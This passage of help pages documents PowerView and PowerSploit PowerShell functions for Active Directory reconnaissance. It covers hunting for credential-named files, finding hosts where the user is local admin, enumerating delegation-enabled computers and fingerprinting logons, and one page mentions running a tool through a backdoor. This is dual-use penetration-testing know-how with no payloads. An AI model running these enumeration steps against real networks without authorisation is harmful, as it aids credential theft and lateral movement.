Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.FoundFile

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-InterestingFile

## SYNOPSIS
Searches for files on the given path that match a series of specified criteria.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection

## SYNTAX

### FileSpecification (Default)
```
Find-InterestingFile [[-Path] <String[]>] [-Include <String[]>] [-LastAccessTime <DateTime>]


[-LastWriteTime <DateTime>] [-CreationTime <DateTime>] [-ExcludeFolders] [-ExcludeHidden] [-CheckWriteAccess]
[-Credential <PSCredential>]




```

### OfficeDocs
`
Find-InterestingFile [[-Path] <String[]>] [-OfficeDocs] [-CheckWriteAccess] [-Credential <PSCredential>]
`

### FreshEXEs
`
Find-InterestingFile [[-Path] <String[]>] [-FreshEXEs] [-CheckWriteAccess] [-Credential <PSCredential>]
`

## DESCRIPTION
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml).
By default, hidden files/folders are included
in search results.
If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
is used to temporarily map the remote share.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-InterestingFile -Path "C:\Backup\"
`

Returns any files on the local path C:Backupthat have the default
search term set in the title.

### ————————– EXAMPLE 2 ————————–
`
Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
`

Returns any files on the remote path \\WINDOWS7Usersthat have the default
search term set in the title and were accessed within the last week.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-InterestingFile -Credential $Cred -Path “\\PRIMARY.testlab.localC$Temp"

## PARAMETERS

### -Path
UNC/local path to recursively search.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: .Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Include
Only return files/folders that match the specified array of strings,
i.e.
@(.doc, .xls, .ppt)

```yaml
Type: String[]
Parameter Sets: FileSpecification
Aliases: SearchTerms, Terms

Required: False
Position: Named
Default value: @(’password’, ‘sensitive’, ‘admin’, ‘login’, ‘secret’, ‘unattend*.xml’, ‘.vmdk’, ‘*creds’, ‘credential’, ‘*.config’)
Accept pipeline input: False
Accept wildcard characters: False
```

### -LastAccessTime
Only return files with a LastAccessTime greater than this date value.

```yaml
Type: DateTime
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LastWriteTime
Only return files with a LastWriteTime greater than this date value.

```yaml
Type: DateTime
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -CreationTime
Only return files with a CreationTime greater than this date value.

```yaml
Type: DateTime
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -OfficeDocs
Switch.
Search for office documents (.doc, .xls, .ppt)

```yaml
Type: SwitchParameter
Parameter Sets: OfficeDocs
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FreshEXEs
Switch.
Find .EXEs accessed within the last 7 days.

```yaml
Type: SwitchParameter
Parameter Sets: FreshEXEs
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludeFolders
Switch.
Exclude folders from the search results.

```yaml
Type: SwitchParameter
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExcludeHidden
Switch.
Exclude hidden files and folders from the search results.

```yaml
Type: SwitchParameter
Parameter Sets: FileSpecification
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -CheckWriteAccess
Switch.
Only returns files the current user has write access to.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.FoundFile

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-LocalAdminAccess

## SYNOPSIS
Finds machines on the local domain where the current user has local administrator access.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction

## SYNTAX

```
Find-LocalAdminAccess [[-ComputerName] <String[]>] [-ComputerDomain <String>] [-ComputerLDAPFilter <String>]


[-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>] [-ComputerServicePack <String>]
[-ComputerSiteName <String>] [-CheckShareAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and for each computer it checks if the current user
has local administrator access using Test-AdminAccess.
If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.


	Idea adapted from the local_admin_search_enum post module in Metasploit written by:
	‘Brandon McCann “zeknox” <bmccann[at]accuvant.com>’
‘Thomas McCarthy “smilingraccoon” <smilingraccoon[at]gmail.com>’
‘Royce Davis “r3dy” <rdavis[at]accuvant.com>’





## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-LocalAdminAccess
`

Finds machines in the current domain the current user has admin access to.

### ————————– EXAMPLE 2 ————————–
`
Find-LocalAdminAccess -Domain dev.testlab.local
`

Finds machines in the dev.testlab.local domain the current user has admin access to.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-LocalAdminAccess -Domain testlab.local -Credential $Cred

Finds machines in the testlab.local domain that the user with the specified -Credential
has admin access to.

## PARAMETERS

### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -CheckShareAccess
Switch.
Only display found shares that the local user has access to.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### String

Computer dnshostnames the current user has administrative access to.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-ComputerDetail

## SYNOPSIS
This script is used to get useful information from a computer.

Function: Get-ComputerDetail
Author: Joe Bialek, Twitter: @JosephBialek
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Get-ComputerDetail [-ToString]
`

## DESCRIPTION
This script is used to get useful information from a computer.
Currently, the script gets the following information:
-Explicit Credential Logons (Event ID 4648)
-Logon events (Event ID 4624)
-AppLocker logs to find what processes are created
-PowerShell logs to find PowerShell scripts which have been executed
-RDP Client Saved Servers, which indicates what servers the user typically RDP’s in to

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-ComputerDetail
`

Gets information about the computer and outputs it as PowerShell objects.

Get-ComputerDetail -ToString
Gets information about the computer and outputs it as raw text.

## PARAMETERS

### -ToString
Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files.

## RELATED LINKS

[Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell](Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell)



            

          

      

      

    

  

    
      
          
            
  # Get-Domain

## SYNOPSIS
Returns the domain object for the current (or specified) domain.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None

## SYNTAX

`
Get-Domain [[-Domain] <String>] [-Credential <PSCredential>]
`

## DESCRIPTION
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
domain or the domain specified with -Domain X.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-Domain -Domain testlab.local
`

### ————————– EXAMPLE 2 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-Domain -Credential $Cred

## PARAMETERS

### -Domain
Specifies the domain name to query for, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.DirectoryServices.ActiveDirectory.Domain

A complex .NET domain object.

## NOTES

## RELATED LINKS

[http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG](http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG)



            

          

      

      

    

  

    
      
          
            
  # Get-DomainComputer

## SYNOPSIS
Return all computers or specific computer objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty

## SYNTAX

```
Get-DomainComputer [[-Identity] <String[]>] [-Unconstrained] [-TrustedToAuth] [-Printers] [-SPN <String>]


[-OperatingSystem <String>] [-ServicePack <String>] [-SiteName <String>] [-Ping] [-Domain <String>]
[-LDAPFilter <String>] [-Properties <String[]>] [-SearchBase <String>] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>]
[-Tombstone] [-FindOne] [-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties samaccountname,usnchanged,…”.
By default, all computer objects for
the current domain are returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainComputer
`

Returns the current computers in current domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainComputer -SPN mssql* -Domain testlab.local
`

Returns all MS SQL servers in the testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
`

Search the specified OU for computeres that allow unconstrained delegation.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainComputer -Credential $Cred

## PARAMETERS

### -Identity
A SamAccountName (e.g.
WINDOWS10$), DistinguishedName (e.g.
CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g.
4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g.
windows10.testlab.local).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: SamAccountName, Name, DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Unconstrained
Switch.
Return computer objects that have unconstrained delegation.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -TrustedToAuth
Switch.
Return computer objects that are trusted to authenticate for other principals.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Printers
Switch.
Return only printers.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -SPN
Return computers with a specific service principal name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePrincipalName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -OperatingSystem
Return computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServicePack
Return computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SiteName
Return computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Ping
Switch.
Ping each host to ensure it’s up before enumerating.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.Computer

Custom PSObject with translated computer property fields.

PowerView.Computer.Raw

The raw DirectoryServices.SearchResult object, if -Raw is enabled.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainController

## SYNOPSIS
Return the domain controllers for the current (or specified) domain.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-Domain

## SYNTAX

`
Get-DomainController [[-Domain] <String>] [-Server <String>] [-LDAP] [-Credential <PSCredential>]
`

## DESCRIPTION
Enumerates the domain controllers for the current or specified domain.
By default built in .NET methods are used.
The -LDAP switch uses Get-DomainComputer
to search for domain controllers.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainController -Domain 'test.local'
`

Determine the domain controllers for ‘test.local’.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainController -Domain 'test.local' -LDAP
`

Determine the domain controllers for ‘test.local’ using LDAP queries.

### ————————– EXAMPLE 3 ————————–
`
'test.local' | Get-DomainController
`

Determine the domain controllers for ‘test.local’.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainController -Credential $Cred

## PARAMETERS

### -Domain
The domain to query for domain controllers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAP
Switch.
Use LDAP queries to determine the domain controllers instead of built in .NET methods.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.Computer

Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.

System.DirectoryServices.ActiveDirectory.DomainController

If -LDAP isn’t specified.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainDFSShare

## SYNOPSIS
Returns a list of all fault-tolerant distributed file systems
for the current (or specified) domain.

Author: Ben Campbell (@meatballs__)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher

## SYNTAX

```
Get-DomainDFSShare [[-Domain] <String[]>] [[-SearchBase] <String>] [[-Server] <String>]


[[-SearchScope] <String>] [[-ResultPageSize] <Int32>] [[-ServerTimeLimit] <Int32>] [-Tombstone]
[[-Credential] <PSCredential>] [[-Version] <String>]




```

## DESCRIPTION
This function searches for all distributed file systems (either version
1, 2, or both depending on -Version X) by searching for domain objects
matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
The server data is parsed appropriately and returned.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainDFSShare
`

Returns all distributed file system shares for the current domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainDFSShare -Domain testlab.local
`

Returns all distributed file system shares for the ‘testlab.local’ domain.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainDFSShare -Credential $Cred

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DomainName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Version
{{Fill Version Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 8
Default value: All
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### System.Management.Automation.PSCustomObject

A custom PSObject describing the distributed file systems.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainDNSRecord

## SYNOPSIS
Enumerates the Active Directory DNS records for a given zone.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord

## SYNTAX

```
Get-DomainDNSRecord [-ZoneName] <String> [-Domain <String>] [-Server <String>] [-Properties <String[]>]


[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-FindOne] [-Credential <PSCredential>]




```

## DESCRIPTION
Given a specific Active Directory DNS zone name, query for all ‘dnsNode’
LDAP entries using that zone as the search base.
Return all DNS entry results
and use Convert-DNSRecord to try to convert the binary DNS record blobs.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainDNSRecord -ZoneName testlab.local
`

Retrieve all records for the testlab.local zone.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainDNSZone | Get-DomainDNSRecord
`

Retrieve all records for all zones in the current domain.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
`

Retrieve all records for all zones in the dev.testlab.local domain.

## PARAMETERS

### -ZoneName
Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
The domain to query for zones, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to for the search.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Name,distinguishedname,dnsrecord,whencreated,whenchanged
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
